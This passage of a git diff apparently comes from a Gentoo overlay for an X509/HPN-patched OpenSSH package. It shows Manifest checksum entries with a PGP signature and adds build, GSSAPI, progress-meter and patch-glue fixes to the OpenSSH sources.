9347431c34737294f98aa07d1c4468ab0357e766c1ff55ad2e39af10041d9fa0e0253d36c5dde354513c97cf7ccb19ac1db7214c25797d57d917d4ee5a1199da +DIST openssh-6.0p1.tar.gz 1126034 SHA256 589d48e952d6c017e667873486b5df63222f9133d417d0002bd6429d9bd882de SHA512 4fe1f7e0d5e572575b11253916354b333a7eca558720885d5dceb7c89dc5da81cd57feaa4be756dfa4f3e9ef508e5f460e5fda221765191b1c02ae37431a444e WHIRLPOOL 7853155dfd35962ae31958600b6d4f94a3a916dac942f5f533cde3d85c8ea64066b887d66d7722bd647196f57df7ed27f62d5ec4588868754b6cdf999a404001 +DIST openssh-6.1p1+x509-7.2.1.diff.gz 208071 SHA256 02d3703d419fc72be819a4e7fc8cbbb269182862465b6a99cc7b2af32d75a181 SHA512 6c1786c2c32d884e7b8f15e39912ca1d8fb54b1132ffae6d8d4f262356a16267a8e549a822911d0f40eabe49015080ae35fdec521f90e0ef4d05554339f35fa0 WHIRLPOOL 7f260caebdc58fe415b3cb93b08600942a6b171b45df8ff1279d4280930a7103cbefac63ec7f32fdbf9bdcf64278c39bfd55c2dcb41ea5c4934574930494df67 +DIST openssh-6.1p1-hpn13v11.diff.bz2 19999 SHA256 08bfc1f3c582f23b3ce386e78baf37be4af03645fc6eef87f1ef819cc273ecc7 SHA512 4e21384ef4d0b7539c9b7aecb158748b959db7ec84fa023f7969c2db50794e1f68bab375cdea9c2ae8fe16b759650e250aa21d6b8772a1c671d2e1e59adef08a WHIRLPOOL 3918c2c118908e67de4523c8d1f142ca4b2d2d7c045c2337b2f7914096108cf1a138009a838519d292e53fec454ced3a9590bbddf93096bd377196bd7d73ed55 +DIST openssh-6.1p1.tar.gz 1134820 SHA256 d1c157f6c0852e90c191cc7c9018a583b51e3db4035489cb262639d337a1c411 SHA512 1cd58f18b047fa92a3155fa215d69c04e1f03914488a21bcda5434899df6055567e59f77063f0080b0cb437bb2396d3bf4050ed0c5ea2d1dc20d6fd928d5a76c WHIRLPOOL a1ecf33e8c4048c59e55d38cc8bb3f89357ac8fb74fdbb57e24e111e1749620fe6f7e329a744e3cfc9ced3e445539ce85926c7877a0f12475ccf14f124f9234b +DIST openssh-lpk-5.4p1-0.3.13.patch.gz 18105 SHA256 4e5dbe769e487c914ecc5b104866f6d4412cbe35c3f2bed897d06f7d824878be SHA512 b79f7e6836162e65a13ca05813af80e6464a5880282da49232ee5b0d4b81c484d5ada37bef30daf2bc57c9b17be44cae4f3905d014b409cd3e380a6e4aaa5416 WHIRLPOOL 4b869ac914be2e9c1e297ba13c928bbf296d669fdd7f0f6d8a8c99fceed58fcc89c6f43f38511f023f9ca4a0051498c1a1abc5baeba8d63ed039c3953fcf71b3 +DIST openssh-lpk-5.6p1-0.3.13.patch.gz 18376 SHA256 42a76b67c390c3ed28efd6e1734ca5a7edfefc635c35086dbd610999130678e9 SHA512 b492fdae831fd93d34075d8656d85fb032993686e3341cb880c47c48e2b9b72c82b92f4e78d5ae649c536b4806a916236de3b158f7f43a1de816bd05de8bbb44 WHIRLPOOL cc02e5e0831bafab354fe7e3e63f51aefc2e1f81aefd5e5f0ba90dbd45e7fad979e04c6b3dce63899e0cdabcd65839c2e2f214b39a17c425a113dccd8af308a1 +DIST openssh-lpk-5.7p1-0.3.13.patch.gz 18392 SHA256 739fa32e267f2c30362bb953d597bcbb55b58d76e13f644004fa63ded81522f7 SHA512 8ff9e0561275bcfa6bdda203bde9be7b7512d3ecc8040157da3709878d4a64496ce60a6e2cd24179713a9cb84a27251229f7beddc81be5734c9444894298ab17 WHIRLPOOL bb4977e0d629e781e1b2838590579329865d503e7f36d2dadeab99dbf5232771c375b91f14115bcdc25160988a983b30b7a378edf16121493ace7ec167cd3f6f +DIST openssh-lpk-5.8p2-0.3.14.patch.gz 18656 SHA256 adac5e13a4918e14e4d349f4360d9c740ae6f69de4e64520e8d51e8d39f969ad +DIST openssh-lpk-5.9p1-0.3.14.patch.gz 18335 SHA256 1a922d57a2e7020bf597135437a57080d7d046c9f41a7a53559945ddddbe0892 +DIST openssh-lpk-6.0p1-0.3.14.patch.gz 18401 SHA256 d0f3d55fd92ecc45aa6120d6ea919c903e4828ce0c2b07612c742a2aa7648beb SHA512 ebf680b90bc289c0d69c22fd6fd666032cdcf4c3850ecdf03e264200d60c50a12f4a5254907c6ab850727216e7837176be5564ae22b68d9b80a67c62f372a9dd WHIRLPOOL 4f8b32c77fc2a9205d283109ccd787a3f37757c18060da39c63147ff09f6b922f4a57ca1ba8d0cdc692f3f1eaba3e5e88eb4287f728ddaaf544d2d425c0cca91 +DIST openssh-lpk-6.1p1-0.3.14.patch.gz 18458 SHA256 2d0e40116e021913668519a42743f89b8fb77f8d5beed863d620cc79999b0b79 SHA512 9cfd83e650cedbc3950b8cf80d0b36fbb7dff8fbe7d017378f9a2ae18189fa6e459e323dae6cd1fa1d82ff948f628563892d0a0f30113b3a8ba5269fe051e784 WHIRLPOOL c1ee5570f0bfb3191c602d575e0e05cabe7d42183bd78c07cac19a2743a59f110728e309fcee6f0b6abc7b141ae8c701d92d010d2b7737739b4cac92406552fa +EBUILD openssh-5.5_p1-r2.ebuild 8625 SHA256 cda98fbb72c562d94bac4bc6b321c48e09e96e95951310baca8897c93ef4ac84 SHA512 f7474e9d8e715811deafafa005f0e334817842c23a471768ecfa7b39c191f814fb2036185fb75e215560d3dde981e88aae817cabd39c6cc9fd742a67abbaa1d6 WHIRLPOOL bf410ac43d256054cc2fc07df3da35ced52639614ce7baffad28810b855935a409a1d7ec5b234bcfed7757b57111738bac831c41393582e081e2b8e31725d09a +EBUILD openssh-5.6_p1-r2.ebuild 8370 SHA256 5ecec16d7abc9eba39d2975e03c35cb1612228d8b1594c1d505d3635aae9def9 SHA512 a3651bea199fd0ecee659c224c71c61a272d6e50f3629b90be96b1791bd59d7e63359d5a086578ef1f939e4c4dc094d172d47687462f0aeca8297bdacfb0e6ba WHIRLPOOL 02b3b7ba353876208db93eee9dd1d24d2036b35e92bd28e77ca8e5385344bdd76982570c8531aa2fc434248cee00f0e9fcf0c8aa6d55b2dc208deaefc3b2b2e0 +EBUILD openssh-5.7_p1-r1.ebuild 8219 SHA256 64fa29443d86b501c498c169772c88d8876d170b994514c65cf894c72cf63589 SHA512 c9c17ad24fcea4a4b0e609599641adfde6c53d339ba499b35d27773ee82baa87c62bf4ce9317001e20ad0e5b3cb39f5fc3a8d379d670d57ce9edc56b992fe816 WHIRLPOOL 5a97c94fdfc3f8dff27dc219a6da2123544aa443a96dc13bedb1be22e5ebb03a89615d7990baf8b8fcb13405c2de3526258775c3c2f86d660818026da041a8ec +EBUILD openssh-5.8_p1-r1.ebuild 8435 SHA256 a72a0f4112035018de06cd763e05493ea063ad7d116ec6e905d691c518fde827 SHA512 e31cc67ec7f5f2509d7d1805fe03041c6eaa654bcd3e4432e4f716a58f606e9e564f3b1f8d95efa4af12bc84cf56a7c4654211b6b315bad93898068864710781 WHIRLPOOL 0ad2c9a5e3a4be7cf21f68df686d0a8ee98f57402efd4824a7ed5ab4b16d593a3d763d2875f7e63da3745948265c933a1a5f1f346df9d7c0d1353acd3fe1b9fa +EBUILD openssh-5.8_p2-r1.ebuild 8467 SHA256 7eda66c78adbf9cb0d7691d2f2c4be21f8539ca7a55046f37ab03bab7501af73 SHA512 43b9ed6ac1902cfcc825602fbc78f8ae55717b907428391be38f25317beed0ffdc272e98ac46b337af7a68c46b7e4fc542bdcb8d0fb1ad6e1562e114fb4bfb26 WHIRLPOOL 59c42c5a72594f229bb5a5c462f6c5d2c6fca8bd212e2d026af2bc4b20ee744524218f45bd4b06646d9486e8c840f83255956a57d0b7eeedeb894ea5251f08a0 +EBUILD openssh-5.8_p2.ebuild 8464 SHA256 005a6dfb61c7fe46c08535f0c30b62a5547591cce2685e80af1a8cec74f93fdf SHA512 8a7bad27d2fe68e24479dbaa86142da85463bd553c2e53cb755c671548315d09e04625df1328d9e31000ee7b5439bfb851b540597e9f8f1b787de07dcb14b587 WHIRLPOOL 647099c01574377c641e76f5fdd284b69e9e982d557ffccf7351a0649918b119d4b5cd74f785f20e9b9b5b37d05a43f6292c8a29b9a037dc1e1e18ea5be3afba +EBUILD openssh-5.9_p1-r3.ebuild 9137 SHA256 d4e2eb9e518f104c5cc7913c0d7dfea959807eea3bb8063bc8efd7aefe5fcd85 SHA512 535d1c1d1586c59361a2050d6949aacf169ffac3ed787f0f44fc1bb2ab503af6967029e0f992e22d4a060acb3df6a6b104132a129c18c75231b1c37f19489a75 WHIRLPOOL 262f0ca3ef564b2a1f9adcea142978de80f0bdf9dd1fc94df720ce1f4a9848de8f18d48d81d3599f62293b3b725a98771c3fe036764421e46efa96a42029e28f +EBUILD openssh-5.9_p1-r4.ebuild 9185 SHA256 d3c4541fd8edd84d2988b4705581ae6fa9f958978b85812bd3d1d996bdcd5cb2 SHA512 ec10770ffd4cff5720fc8d93df9f3f7055181a2a9007e1ee58ea2126bba2a99794de1c6f575e99408861f26c29dc7a813ed2081f8ce157770350a90396bcb5b5 WHIRLPOOL fb4bb9364649721063182227a63362e3af87f5a37191709a6c00f8ddf18b3635c62790a68ba60d96547247d2e89a4a4e04452287b45baa00b0eccae78b4bd4ff +EBUILD openssh-6.0_p1-r1.ebuild 9463 SHA256 b1658b58445e9a5b2ae1881d8a8077a6da87414846f5b7aae10f56a763545bea SHA512 e346b7852c5e14bf4da2daed960df123088dc2fcadb00a611c557cf55187c8e45314b47e07cd41e9f09370383c6d3800b7dc61079d6d345811d4ee99aff2cdf4 WHIRLPOOL 0ff7c3832e352c2963d5529c0a060573ab386bb340295c0ef12559053a9d27e2e16514030c51ec9fb984eb02ef662bfd758860daa032df03309a8473f5c3b46f +EBUILD openssh-6.0_p1.ebuild 9461 SHA256 1b34a9871749300d97de8fc920f1376c50118cea1f2d80a87a1011bb093d1d96 SHA512 087e1ffd699bdd7bd3e9032e46dc1cbbc5c5b94e460bf54a869757d68151bc06227f1a6fd5c486c04f7372e60f7d0ea18d50513956588d80538da965c32b5371 WHIRLPOOL dd5cc1d7b617886355e2f1e6ce28acd7afad05f3d99bfd515fa59c8b5d9fc461403913b8b68260dacf2a1bb6a33f4bf696680b5e27019d57f196d9dca6f1a24b +EBUILD openssh-6.1_p1.ebuild 9408 SHA256 9ba2984e3adb5895117ada5a7f8ff5a3e0fb06abe7d067d5db4afac174ce0592 SHA512 8f0729a18e5ea9d939fddc62aaac7dd2b29e290c8025b0adda792676201fba4aee64e3a6130f7250d9c847fa0fbcf860c69df4eaf558e94bd2920b9300c92ff9 WHIRLPOOL a86aa71dcc60b2139d03e7dcd854305d6aecb00e5fa01fce54f4d517af08bb18f6187df497ba7acc493299158db0874158bc04c72163f61f7df416fdba3c9ec6 +MISC ChangeLog 72084 SHA256 a0b9b309b0d8b19bb72e00abd8c28396308fe55bff7ca4e52f40216441161b1c SHA512 8681c487eba5a6be09791735c124d9f1cadea7f79e14eb1746f50acdd53833cae66837d39ac0e4cd447156d1505e65c98054527c8c43b25c026c1bf031839370 WHIRLPOOL 00c69fd667d02c5563dd43e27fd8904c8619ad37ba4223b830bc81c0b5382024d13f7d52ca161e9e6f4ec6f8e7c5d45d8df003365dbaa7d2a3345c0e0dc777eb +MISC metadata.xml 1599 SHA256 fddc51b98b6831f5bc0f1f5fdeb78c064f9c40fc5c9a9f31ec816890e6aade86 SHA512 62ff3ab2fc84f7612799080285cba1f26c0b299d4159b15812a4b4349bfa450ac5f4e038b187201a8cba4c169c47dc4c5d9c4dfe881ef15cef82deadb8d63852 WHIRLPOOL f0b8153f49fb357cc8f90dbcb7397b6be3b31987e9bdde375c172ef2f2464a91080bef04f0e050b97852cad0a26ac9b2f634188f7b910e7dfbf738dd06a80223 +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v2.0.19 (GNU/Linux) + +iQIcBAEBCAAGBQJQS5EMAAoJELEHsLL7fEFWiRMP/122iJHPCbQnNkZVZ2AMGG8V +s8kOTftlxn0otHbWx/CGITdnaEObNAXlGaiSh9QUNR8jISlagpaqVN0q0w8y6um7 +OptqOWwYDnliKmsSufOEi8W6/8pJzUbAanw6v4zMssib6kVlcEp6OuTx/5vX5jZw +C+sodbRgWdNFOFcjwIoEvG3Y4Q9HdxjHbZ36r/GNZ4F/kLQA3kQZdIDvUIUP4q1I +hbKkILcOa546ltmvACSLYLcgKlHi9qE6SvC+MoXkRqGiklffVIQVNnDdOVy4xCEU +5WZIfZ3DcDg+qBMgFbwgr9OqcAtKjWEQf4HF0hdHvvEHo+QGv0l3Xaj84MnGK3GD +Wd6LNGfu4OM9PcifvBfw6SmH1OaHApJP0kGiPix4a8znMm5Q3nLQAV58A4TlRGyd +i4wxJ5noWTz6wcoTR2TncpY3rCrO5gEyMdYdR6SPVrjooCBMaXHM5o0XBtRobzuh +PeeYp8b7Esw6x6dopLuVmcwznB7NrZWyjgaMOTqADfnYUY3Mt8huJc74t0e7+bgt +U4slQRQDfKg2uLbh88Oaun7jFhdHuAsuKWjs3/vvKYVDF5V29iesteftzCLcnp8u +blB2qvPNFrMBDHz9OmhZI9420YgSdJkY9Bn9f74Tc68K2xE08PpL4KHUND/YnUsq +DgKKMKpQ6UdZlfLXBarl +=NaLj +-----END PGP SIGNATURE----- diff --git a/net-misc/openssh-x/files/openssh-4.7_p1-GSSAPI-dns.patch b/net-misc/openssh-x/files/openssh-4.7_p1-GSSAPI-dns.patch new file mode 100644 index 00000000..c81ae5cb --- /dev/null +++ b/net-misc/openssh-x/files/openssh-4.7_p1-GSSAPI-dns.patch @@ -0,0 +1,127 @@ +http://bugs.gentoo.org/165444 +https://bugzilla.mindrot.org/show_bug.cgi?id=1008 + +Index: readconf.c +=================================================================== +RCS file: /cvs/openssh/readconf.c,v +retrieving revision 1.135 +diff -u -r1.135 readconf.c +--- readconf.c 5 Aug 2006 02:39:40 -0000 1.135 ++++ readconf.c 19 Aug 2006 11:59:52 -0000 +@@ -126,6 +126,7 @@ + oClearAllForwardings, oNoHostAuthenticationForLocalhost, + oEnableSSHKeysign, oRekeyLimit, oVerifyHostKeyDNS, oConnectTimeout, + oAddressFamily, oGssAuthentication, oGssDelegateCreds, ++ oGssTrustDns, + oServerAliveInterval, oServerAliveCountMax, oIdentitiesOnly, + oSendEnv, oControlPath, oControlMaster, oHashKnownHosts, + oTunnel, oTunnelDevice, oLocalCommand, oPermitLocalCommand, +@@ -163,9 +164,11 @@ + #if defined(GSSAPI) + { "gssapiauthentication", oGssAuthentication }, + { "gssapidelegatecredentials", oGssDelegateCreds }, ++ { "gssapitrustdns", oGssTrustDns }, + #else + { "gssapiauthentication", oUnsupported }, + { "gssapidelegatecredentials", oUnsupported }, ++ { "gssapitrustdns", oUnsupported }, + #endif + { "fallbacktorsh", oDeprecated }, + { "usersh", oDeprecated }, +@@ -444,6 +447,10 @@ + intptr = &options->gss_deleg_creds; + goto parse_flag; + ++ case oGssTrustDns: ++ intptr = &options->gss_trust_dns; ++ goto parse_flag; ++ + case oBatchMode: + intptr = &options->batch_mode; + goto parse_flag; +@@ -1010,6 +1017,7 @@ + options->challenge_response_authentication = -1; + options->gss_authentication = -1; + options->gss_deleg_creds = -1; ++ options->gss_trust_dns = -1; + options->password_authentication = -1; + options->kbd_interactive_authentication = -1; + options->kbd_interactive_devices = NULL; +@@ -1100,6 +1108,8 @@ + options->gss_authentication = 0; + if (options->gss_deleg_creds == -1) + options->gss_deleg_creds = 0; ++ if (options->gss_trust_dns == -1) ++ options->gss_trust_dns = 0; + if (options->password_authentication == -1) + options->password_authentication = 1; + if (options->kbd_interactive_authentication == -1) +Index: readconf.h +=================================================================== +RCS file: /cvs/openssh/readconf.h,v +retrieving revision 1.63 +diff -u -r1.63 readconf.h +--- readconf.h 5 Aug 2006 02:39:40 -0000 1.63 ++++ readconf.h 19 Aug 2006 11:59:52 -0000 +@@ -45,6 +45,7 @@ + /* Try S/Key or TIS, authentication. */ + int gss_authentication; /* Try GSS authentication */ + int gss_deleg_creds; /* Delegate GSS credentials */ ++ int gss_trust_dns; /* Trust DNS for GSS canonicalization */ + int password_authentication; /* Try password + * authentication. */ + int kbd_interactive_authentication; /* Try keyboard-interactive auth. */ +Index: ssh_config.5 +=================================================================== +RCS file: /cvs/openssh/ssh_config.5,v +retrieving revision 1.97 +diff -u -r1.97 ssh_config.5 +--- ssh_config.5 5 Aug 2006 01:34:51 -0000 1.97 ++++ ssh_config.5 19 Aug 2006 11:59:53 -0000 +@@ -483,7 +483,16 @@ + Forward (delegate) credentials to the server. + The default is + .Dq no . +-Note that this option applies to protocol version 2 only. ++Note that this option applies to protocol version 2 connections using GSSAPI. ++.It Cm GSSAPITrustDns ++Set to ++.Dq yes to indicate that the DNS is trusted to securely canonicalize ++the name of the host being connected to. If ++.Dq no, the hostname entered on the ++command line will be passed untouched to the GSSAPI library. ++The default is ++.Dq no . ++This option only applies to protocol version 2 connections using GSSAPI. + .It Cm HashKnownHosts + Indicates that + .Xr ssh 1 +Index: sshconnect2.c +=================================================================== +RCS file: /cvs/openssh/sshconnect2.c,v +retrieving revision 1.151 +diff -u -r1.151 sshconnect2.c +--- sshconnect2.c 18 Aug 2006 14:33:34 -0000 1.151 ++++ sshconnect2.c 19 Aug 2006 11:59:53 -0000 +@@ -499,6 +499,12 @@ + static u_int mech = 0; + OM_uint32 min; + int ok = 0; ++ const char *gss_host; ++ ++ if (options.gss_trust_dns) ++ gss_host = get_canonical_hostname(1); ++ else ++ gss_host = authctxt->host; + + /* Try one GSSAPI method at a time, rather than sending them all at + * once. */ +@@ -511,7 +517,7 @@ + /* My DER encoding requires length<128 */ + if (gss_supported->elements[mech].length < 128 && + ssh_gssapi_check_mechanism(&gssctxt, +- &gss_supported->elements[mech], authctxt->host)) { ++ &gss_supported->elements[mech], gss_host)) { + ok = 1; /* Mechanism works */ + } else { + mech++; diff --git a/net-misc/openssh-x/files/openssh-5.2_p1-autoconf.patch b/net-misc/openssh-x/files/openssh-5.2_p1-autoconf.patch new file mode 100644 index 00000000..24ad7a9c --- /dev/null +++ b/net-misc/openssh-x/files/openssh-5.2_p1-autoconf.patch @@ -0,0 +1,15 @@ +workaround problems with autoconf-2.63 + +http://lists.gnu.org/archive/html/autoconf/2009-04/msg00007.html + +--- a/configure.ac ++++ b/configure.ac +@@ -3603,7 +3603,7 @@ + #include + struct spwd sp; + ],[ sp.sp_expire = sp.sp_lstchg = sp.sp_inact = 0; ], +- [ sp_expire_available=yes ], [] ++ [ sp_expire_available=yes ], [:] + ) + + if test "x$sp_expire_available" = "xyes" ; then diff --git a/net-misc/openssh-x/files/openssh-5.2_p1-gsskex-fix.patch b/net-misc/openssh-x/files/openssh-5.2_p1-gsskex-fix.patch new file mode 100644 index 00000000..8112d625 --- /dev/null +++ b/net-misc/openssh-x/files/openssh-5.2_p1-gsskex-fix.patch @@ -0,0 +1,16 @@ +--- clientloop.c ++++ clientloop.c +@@ -1434,11 +1434,13 @@ + if (!rekeying) { + channel_after_select(readset, writeset); + ++#ifdef GSSAPI + if (options.gss_renewal_rekey && + ssh_gssapi_credentials_updated(GSS_C_NO_CONTEXT)) { + debug("credentials updated - forcing rekey"); + need_rekeying = 1; + } ++#endif + + if (need_rekeying || packet_need_rekeying()) { + debug("need rekeying"); diff --git a/net-misc/openssh-x/files/openssh-5.2_p1-x509-hpn-glue.patch b/net-misc/openssh-x/files/openssh-5.2_p1-x509-hpn-glue.patch new file mode 100644 index 00000000..9428b74f --- /dev/null +++ b/net-misc/openssh-x/files/openssh-5.2_p1-x509-hpn-glue.patch @@ -0,0 +1,91 @@ +Move things around so hpn applies cleanly when using X509. + +--- openssh-5.2p1+x509/Makefile.in ++++ openssh-5.2p1+x509/Makefile.in +@@ -44,11 +44,12 @@ + CC=@CC@ + LD=@LD@ + CFLAGS=@CFLAGS@ +-CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ @LDAP_CPPFLAGS@ $(PATHS) @DEFS@ ++CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ $(PATHS) @DEFS@ + LIBS=@LIBS@ + SSHDLIBS=@SSHDLIBS@ + LIBEDIT=@LIBEDIT@ + LIBLDAP=@LDAP_LDFLAGS@ @LDAP_LIBS@ ++CPPFLAGS += @LDAP_CPPFLAGS@ + AR=@AR@ + AWK=@AWK@ + RANLIB=@RANLIB@ +--- openssh-5.2p1+x509/servconf.c ++++ openssh-5.2p1+x509/servconf.c +@@ -108,6 +108,17 @@ + options->log_level = SYSLOG_LEVEL_NOT_SET; + options->rhosts_rsa_authentication = -1; + options->hostbased_authentication = -1; ++ options->hostbased_algorithms = NULL; ++ options->pubkey_algorithms = NULL; ++ ssh_x509flags_initialize(&options->x509flags, 1); ++#ifndef SSH_X509STORE_DISABLED ++ ssh_x509store_initialize(&options->ca); ++#endif /*ndef SSH_X509STORE_DISABLED*/ ++#ifdef SSH_OCSP_ENABLED ++ options->va.type = -1; ++ options->va.certificate_file = NULL; ++ options->va.responder_url = NULL; ++#endif /*def SSH_OCSP_ENABLED*/ + options->hostbased_uses_name_from_packet_only = -1; + options->rsa_authentication = -1; + options->pubkey_authentication = -1; +@@ -152,18 +163,6 @@ + options->adm_forced_command = NULL; + options->chroot_directory = NULL; + options->zero_knowledge_password_authentication = -1; +- +- options->hostbased_algorithms = NULL; +- options->pubkey_algorithms = NULL; +- ssh_x509flags_initialize(&options->x509flags, 1); +-#ifndef SSH_X509STORE_DISABLED +- ssh_x509store_initialize(&options->ca); +-#endif /*ndef SSH_X509STORE_DISABLED*/ +-#ifdef SSH_OCSP_ENABLED +- options->va.type = -1; +- options->va.certificate_file = NULL; +- options->va.responder_url = NULL; +-#endif /*def SSH_OCSP_ENABLED*/ + } + + void +@@ -341,6 +340,16 @@ + /* Portable-specific options */ + sUsePAM, + /* Standard Options */ ++ sHostbasedAlgorithms, ++ sPubkeyAlgorithms, ++ sX509KeyAlgorithm, ++ sAllowedClientCertPurpose, ++ sKeyAllowSelfIssued, sMandatoryCRL, ++ sCACertificateFile, sCACertificatePath, ++ sCARevocationFile, sCARevocationPath, ++ sCAldapVersion, sCAldapURL, ++ sVAType, sVACertificateFile, ++ sVAOCSPResponderURL, + sPort, sHostKeyFile, sServerKeyBits, sLoginGraceTime, sKeyRegenerationTime, + sPermitRootLogin, sLogFacility, sLogLevel, + sRhostsRSAAuthentication, sRSAAuthentication, +@@ -364,16 +373,6 @@ + sMatch, sPermitOpen, sForceCommand, sChrootDirectory, + sUsePrivilegeSeparation, sAllowAgentForwarding, + sZeroKnowledgePasswordAuthentication, +- sHostbasedAlgorithms, +- sPubkeyAlgorithms, +- sX509KeyAlgorithm, +- sAllowedClientCertPurpose, +- sKeyAllowSelfIssued, sMandatoryCRL, +- sCACertificateFile, sCACertificatePath, +- sCARevocationFile, sCARevocationPath, +- sCAldapVersion, sCAldapURL, +- sVAType, sVACertificateFile, +- sVAOCSPResponderURL, + sDeprecated, sUnsupported + } ServerOpCodes; + diff --git a/net-misc/openssh-x/files/openssh-5.2p1-ldap-stdargs.diff b/net-misc/openssh-x/files/openssh-5.2p1-ldap-stdargs.diff new file mode 100644 index 00000000..346d5271 --- /dev/null +++ b/net-misc/openssh-x/files/openssh-5.2p1-ldap-stdargs.diff @@ -0,0 +1,10 @@ +--- ldapauth.c.orig 2009-04-18 18:06:38.000000000 +0200 ++++ ldapauth.c 2009-04-18 18:06:11.000000000 +0200 +@@ -31,6 +31,7 @@ + #include + #include + #include ++#include + + #include "ldapauth.h" + #include "log.h" diff --git a/net-misc/openssh-x/files/openssh-5.4_p1-openssl.patch b/net-misc/openssh-x/files/openssh-5.4_p1-openssl.patch new file mode 100644 index 00000000..e4cdb63a --- /dev/null +++ b/net-misc/openssh-x/files/openssh-5.4_p1-openssl.patch @@ -0,0 +1,12 @@ +pull in openssl/conf.h for OPENSSL_config() prototype + +--- openbsd-compat/openssl-compat.c ++++ openbsd-compat/openssl-compat.c +@@ -59,6 +59,7 @@ + #endif + + #ifdef USE_OPENSSL_ENGINE ++#include + void + ssh_SSLeay_add_all_algorithms(void) + { diff --git a/net-misc/openssh-x/files/openssh-5.6_p1-hpn-progressmeter.patch b/net-misc/openssh-x/files/openssh-5.6_p1-hpn-progressmeter.patch new file mode 100644 index 00000000..5fe18dfc --- /dev/null +++ b/net-misc/openssh-x/files/openssh-5.6_p1-hpn-progressmeter.patch @@ -0,0 +1,15 @@ +don't go reading random stack values + +already e-mailed to upstream hpn devs + +--- progressmeter.c ++++ progressmeter.c +@@ -183,7 +183,7 @@ + else + percent = 100; + +- snprintf(buf + strlen(buf), win_size - strlen(buf-8), ++ snprintf(buf + strlen(buf), win_size - strlen(buf) - 8, + " %3d%% ", percent); + + /* amount transferred */ diff --git a/net-misc/openssh-x/files/openssh-5.6_p1-x509-hpn-glue.patch b/net-misc/openssh-x/files/openssh-5.6_p1-x509-hpn-glue.patch new file mode 100644 index 00000000..e793311f --- /dev/null +++ b/net-misc/openssh-x/files/openssh-5.6_p1-x509-hpn-glue.patch @@ -0,0 +1,60 @@ +Move things around so hpn applies cleanly when using X509. + +--- a/Makefile.in ++++ b/Makefile.in +@@ -46,11 +46,12 @@ + CC=@CC@ + LD=@LD@ + CFLAGS=@CFLAGS@ +-CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ @LDAP_CPPFLAGS@ $(PATHS) @DEFS@ ++CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ $(PATHS) @DEFS@ + LIBS=@LIBS@ + SSHDLIBS=@SSHDLIBS@ + LIBEDIT=@LIBEDIT@ + LIBLDAP=@LDAP_LDFLAGS@ @LDAP_LIBS@ ++CPPFLAGS+=@LDAP_CPPFLAGS@ + AR=@AR@ + AWK=@AWK@ + RANLIB=@RANLIB@ +--- a/servconf.c ++++ b/servconf.c +@@ -153,9 +153,6 @@ initialize_server_options(ServerOptions *options) + options->adm_forced_command = NULL; + options->chroot_directory = NULL; + options->zero_knowledge_password_authentication = -1; +- options->revoked_keys_file = NULL; +- options->trusted_user_ca_keys = NULL; +- options->authorized_principals_file = NULL; + + options->hostbased_algorithms = NULL; + options->pubkey_algorithms = NULL; +@@ -168,6 +165,9 @@ initialize_server_options(ServerOptions *options) + options->va.certificate_file = NULL; + options->va.responder_url = NULL; + #endif /*def SSH_OCSP_ENABLED*/ ++ options->revoked_keys_file = NULL; ++ options->trusted_user_ca_keys = NULL; ++ options->authorized_principals_file = NULL; + } + + void +@@ -367,9 +367,6 @@ typedef enum { + sClientAliveCountMax, sAuthorizedKeysFile, sAuthorizedKeysFile2, + sGssAuthentication, sGssCleanupCreds, sAcceptEnv, sPermitTunnel, + sMatch, sPermitOpen, sForceCommand, sChrootDirectory, +- sUsePrivilegeSeparation, sAllowAgentForwarding, +- sZeroKnowledgePasswordAuthentication, sHostCertificate, +- sRevokedKeys, sTrustedUserCAKeys, sAuthorizedPrincipalsFile, + sHostbasedAlgorithms, + sPubkeyAlgorithms, + sX509KeyAlgorithm, +@@ -380,6 +377,9 @@ typedef enum { + sCAldapVersion, sCAldapURL, + sVAType, sVACertificateFile, + sVAOCSPResponderURL, ++ sUsePrivilegeSeparation, sAllowAgentForwarding, ++ sZeroKnowledgePasswordAuthentication, sHostCertificate, ++ sRevokedKeys, sTrustedUserCAKeys, sAuthorizedPrincipalsFile, + sDeprecated, sUnsupported + } ServerOpCodes; + diff --git a/net-misc/openssh-x/files/openssh-5.7_p1-x509-hpn-glue.patch b/net-misc/openssh-x/files/openssh-5.7_p1-x509-hpn-glue.patch new file mode 100644 index 00000000..ee3e7574 --- /dev/null +++ b/net-misc/openssh-x/files/openssh-5.7_p1-x509-hpn-glue.patch @@ -0,0 +1,60 @@ +Move things around so hpn applies cleanly when using X509. + +--- a/Makefile.in ++++ b/Makefile.in +@@ -46,11 +46,12 @@ + CC=@CC@ + LD=@LD@ + CFLAGS=@CFLAGS@ +-CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ @LDAP_CPPFLAGS@ $(PATHS) @DEFS@ ++CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ $(PATHS) @DEFS@ + LIBS=@LIBS@ + SSHDLIBS=@SSHDLIBS@ + LIBEDIT=@LIBEDIT@ + LIBLDAP=@LDAP_LDFLAGS@ @LDAP_LIBS@ ++CPPFLAGS+=@LDAP_CPPFLAGS@ + AR=@AR@ + AWK=@AWK@ + RANLIB=@RANLIB@ +--- a/servconf.c ++++ b/servconf.c +@@ -153,9 +153,6 @@ initialize_server_options(ServerOptions *options) + options->zero_knowledge_password_authentication = -1; + options->revoked_keys_file = NULL; + options->trusted_user_ca_keys = NULL; +- options->authorized_principals_file = NULL; +- options->ip_qos_interactive = -1; +- options->ip_qos_bulk = -1; + + options->hostbased_algorithms = NULL; + options->pubkey_algorithms = NULL; +@@ -168,6 +165,9 @@ initialize_server_options(ServerOptions *options) + options->va.certificate_file = NULL; + options->va.responder_url = NULL; + #endif /*def SSH_OCSP_ENABLED*/ ++ options->authorized_principals_file = NULL; ++ options->ip_qos_interactive = -1; ++ options->ip_qos_bulk = -1; + } + + void +@@ -367,9 +367,6 @@ typedef enum { + sGssAuthentication, sGssCleanupCreds, sAcceptEnv, sPermitTunnel, + sMatch, sPermitOpen, sForceCommand, sChrootDirectory, + sUsePrivilegeSeparation, sAllowAgentForwarding, +- sZeroKnowledgePasswordAuthentication, sHostCertificate, +- sRevokedKeys, sTrustedUserCAKeys, sAuthorizedPrincipalsFile, +- sKexAlgorithms, sIPQoS, + sHostbasedAlgorithms, + sPubkeyAlgorithms, + sX509KeyAlgorithm, +@@ -380,6 +377,9 @@ typedef enum { + sCAldapVersion, sCAldapURL, + sVAType, sVACertificateFile, + sVAOCSPResponderURL, ++ 